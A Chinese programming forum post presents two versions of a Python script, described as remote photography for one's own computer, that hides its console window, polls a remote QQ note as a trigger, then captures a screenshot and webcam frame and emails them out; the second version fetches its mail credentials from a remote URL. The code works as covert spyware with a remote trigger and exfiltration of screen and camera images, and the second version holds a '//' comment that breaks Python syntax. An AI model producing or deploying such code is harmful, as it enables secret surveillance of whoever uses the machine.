公告
  
重要通知:网站网络变更中可能出现站点图片无法加载的问题,点击此处可解决!
更多资讯可访问:点击查看消息详情!

朕已阅

Python电脑远程拍照并发送到邮箱

admin 千秋月 关注 管理组 论坛神话
发表于程序代码版块 技术杂文
Python电脑远程拍照并发送到邮箱


PyAutoGUI库安装

pip install PyAutoGUI
cv2库安装

pip install opencv-python
python代码:

import ctypes
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2
import socket
import time
import requests
from bs4 import BeautifulSoup

# 隐藏控制台窗口(仅限Windows)
if sys.platform.startswith('win'):
    SW_HIDE = 0
    info = ctypes.windll.kernel32.GetConsoleWindow()
    if info != 0:
        ctypes.windll.user32.ShowWindow(info, SW_HIDE)

# 邮件配置信息
sender_receiver = 'xxx@qq.com'
smtp_info = {
    'server': 'smtp.qq.com',
    'port': 465,  # 使用SSL
    'username': 'xxx@qq.com',  # 替换为你的邮箱
    'password': '邮箱授权码',  # 替换为你的邮箱密码或授权码
}

# 邮件内容设置
subject = '有人打开了你的电脑'
body = '您的电脑已被开启,并有摄像头记录,请留意。'

# 图片保存路径
screenshot_path = "D:\\screenshot.jpg"
camera_capture_path = "D:\\screenshot.jpg"

# 网址和监控的值
url = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09"  # 替换为你的qq收藏里文本连接
target_value = "1" #数值 1的时候拍照2的时候不拍照(这是qq收藏笔记里面的标题数值)
last_value = None

def capture_screenshot(path):
    """捕获屏幕截图并保存"""
    pyautogui.screenshot(path)
    print(f"屏幕截图已保存至{path}")

def capture_image_from_camera(path):
    """使用摄像头捕获单帧图像并保存"""
    cap = cv2.VideoCapture(0)
    if cap.isOpened():
        ret, frame = cap.read()
        cap.release()
        if ret:
            cv2.imwrite(path, frame)
            print(f"摄像头图像已保存至{path}")
        else:
            print("捕获图像失败")
    else:
        print("无法打开摄像头")

def send_email_with_attachments(screenshot_path, camera_capture_path):
    """发送带有附件的邮件"""
    msg = MIMEMultipart()
    msg['From'] = Header(sender_receiver)
    msg['To'] = Header(sender_receiver)
    msg['Subject'] = Header(subject)
    msg.attach(MIMEText(body, 'plain', 'utf-8'))

    # 添加附件
    for path in [screenshot_path, camera_capture_path]:
        with open(path, 'rb') as file:
            part = MIMEImage(file.read(), name=os.path.basename(path))
            msg.attach(part)

    try:
        with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server:
            server.login(smtp_info['username'], smtp_info['password'])
            server.sendmail(sender_receiver, sender_receiver, msg.as_string())
            server.quit()
        print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")
    except Exception as e:
        print(f"邮件发送失败: {e}")

def is_connected():
    """检查网络连接"""
    try:
        socket.create_connection(('8.8.8.8', 53), 2)  # 设置超时时间为2秒
        return True
    except OSError:
        return False

def check_url():
    """检查网址内容"""
    global last_value
    try:
        response = requests.get(url, timeout=5)  # 设置超时时间为5秒
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            info_div = soup.find('div', class_='info')
            if info_div:
                span_text = info_div.find('span', class_='tit').text.strip()
                print(f"网页内容识别结果:{span_text}")
                if span_text == f"【{target_value}】" and span_text != last_value:
                    last_value = span_text
                    return True
            else:
                print("未识别")
                return False
        else:
            print("网页内容未找到")
            return False
    except requests.RequestException as e:
        print(f"请求错误:{e}")
        return False

def main():
    global last_value
    last_value = None
    while True:
        if check_url():
            capture_screenshot(screenshot_path)
            capture_image_from_camera(camera_capture_path)
            
            print("等待网络连接...")
            if not is_connected():
                print("网络连接失败,请检查您的网络设置。")
                time.sleep(60)  # 如果网络连接失败,等待60秒后重试
                continue  # 跳过本次循环
            
            send_email_with_attachments(screenshot_path, camera_capture_path)
            # 可选:发送邮件后删除图片文件
            os.remove(screenshot_path)
            os.remove(camera_capture_path)
        time.sleep(20)  # 每20秒检查一次网址内容

if __name__ == "__main__":
    main()
邮箱配置远程版:

import ctypes
import sys
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.image import MIMEImage
from email.header import Header
import pyautogui
import os
import cv2
import socket
import time
import requests
from bs4 import BeautifulSoup

# 隐藏控制台窗口(仅限Windows)
if sys.platform.startswith('win'):
    SW_HIDE = 0
    info = ctypes.windll.kernel32.GetConsoleWindow()
    if info != 0:
        ctypes.windll.user32.ShowWindow(info, SW_HIDE)

# 从URL获取邮件配置信息
def get_email_config():
    url = "http://yourdomain/data.txt"
    try:
        response = requests.get(url, timeout=5)
        response.raise_for_status()  # 如果请求失败,抛出异常
        lines = response.text.splitlines()
        config = {
            'sender_receiver': lines[0].strip(),
            'smtp_server': lines[1].strip(),
            'smtp_port': int(lines[2].strip()),
            'smtp_username': lines[3].strip(),
            'smtp_password': lines[4].strip()
        }
        return config
    except requests.RequestException as e:
        print(f"请求邮件配置信息失败: {e}")
        return {}

# 解析邮件配置信息
email_config = get_email_config()
sender_receiver = email_config.get('sender_receiver', 'default_sender_receiver@qq.com')
smtp_info = {
    'server': email_config.get('smtp_server', 'smtp.qq.com'),
    'port': email_config.get('smtp_port', 465),
    'username': email_config.get('smtp_username', 'default_username@qq.com'),
    'password': email_config.get('smtp_password', 'default_password')
}
subject = '有人打开了你的电脑'
body = '您的电脑已被开启,并有摄像头记录,请留意。'

# 图片保存路径
screenshot_path = "D:\\screenshot.jpg"
camera_capture_path = "D:\\camera_capture.jpg"

# 网址和监控的值
url_to_monitor = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09"  # 替换为你的qq收藏里文本连接
target_value = "1" #数值 1 的时候拍照,2 的时候不拍照(这是qq收藏笔记里面的标题数值)
last_value = None

def capture_screenshot(path):
    """捕获屏幕截图并保存"""
    pyautogui.screenshot(path)
    print(f"屏幕截图已保存至{path}")

def capture_image_from_camera(path):
    """使用摄像头捕获单帧图像并保存"""
    cap = cv2.VideoCapture(0)
    if cap.isOpened():
        ret, frame = cap.read()
        cap.release()
        if ret:
            cv2.imwrite(path, frame)
            print(f"摄像头图像已保存至{path}")
        else:
            print("捕获图像失败")
    else:
        print("无法打开摄像头")

def send_email_with_attachments(screenshot_path, camera_capture_path):
    """发送带有附件的邮件"""
    msg = MIMEMultipart()
    msg['From'] = Header(sender_receiver)
    msg['To'] = Header(sender_receiver)
    msg['Subject'] = Header(subject)
    msg.attach(MIMEText(body, 'plain', 'utf-8'))

    # 添加附件
    for path in [screenshot_path, camera_capture_path]:
        with open(path, 'rb') as file:
            part = MIMEImage(file.read(), name=os.path.basename(path))
            msg.attach(part)

    try:
        with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server:
            server.login(smtp_info['username'], smtp_info['password'])
            server.sendmail(sender_receiver, sender_receiver, msg.as_string())
            server.quit()
        print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!")
    except Exception as e:
        print(f"邮件发送失败: {e}")

def is_connected():
    """检查网络连接"""
    try:
        socket.create_connection(('8.8.8.8', 53), 2)  # 设置超时时间为2秒
        return True
    except OSError:
        return False

def check_url():
    """检查网址内容"""
    global last_value
    try:
        response = requests.get(url_to_monitor, timeout=5)  # 设置超时时间为5秒
        if response.status_code == 200:
            soup = BeautifulSoup(response.text, 'html.parser')
            info_div = soup.find('div', class_='info')
            if info_div:
                span_text = info_div.find('span', class_='tit').text.strip()
                print(f"网页内容识别结果:{span_text}")
                if span_text == f"【{target_value}】" and span_text != last_value:
                    last_value = span_text
                    return True
            else:
                print("未识别")
                return False
        else:
            print("网页内容未找到")
            return False
    except requests.RequestException as e:
        print(f"请求错误:{e}")
        return False

def main():
    global last_value
    last_value = None
    while True:
        if check_url():
            capture_screenshot(screenshot_path)
            capture_image_from_camera(camera_capture_path)
            
            print("等待网络连接...")
            if not is_connected():
                print("网络连接失败,请检查您的网络设置。")
                time.sleep(60)  # 如果网络连接失败,等待60秒后重试
                continue  # 跳过本次循环
            
            send_email_with_attachments(screenshot_path, camera_capture_path)
            # 可选:发送邮件后删除图片文件
            os.remove(screenshot_path)
            os.remove(camera_capture_path)
        time.sleep(20)  // 每20秒检查一次网址内容

if __name__ == "__main__":
    main()

本文章最后由 admin2024-10-15 12:37 编辑
评论列表 评论
发布评论

评论: Python电脑远程拍照并发送到邮箱



点击进入免费吃瓜群!吃大瓜! 广告位支持代码、文字、图片展示 Image


免责声明
本站资源,均来自网络,版权归原作者,所有资源和文章仅限用于学习和研究目的 。 不得用于商业或非法用途,否则,一切责任由该用户承担 !

请求资源或报告无效资源,请点击[反馈中心]


侵权删除请致信 E-Mail:chengfengad@gmail.com
已有0次打赏
(0) 分享
分享
取消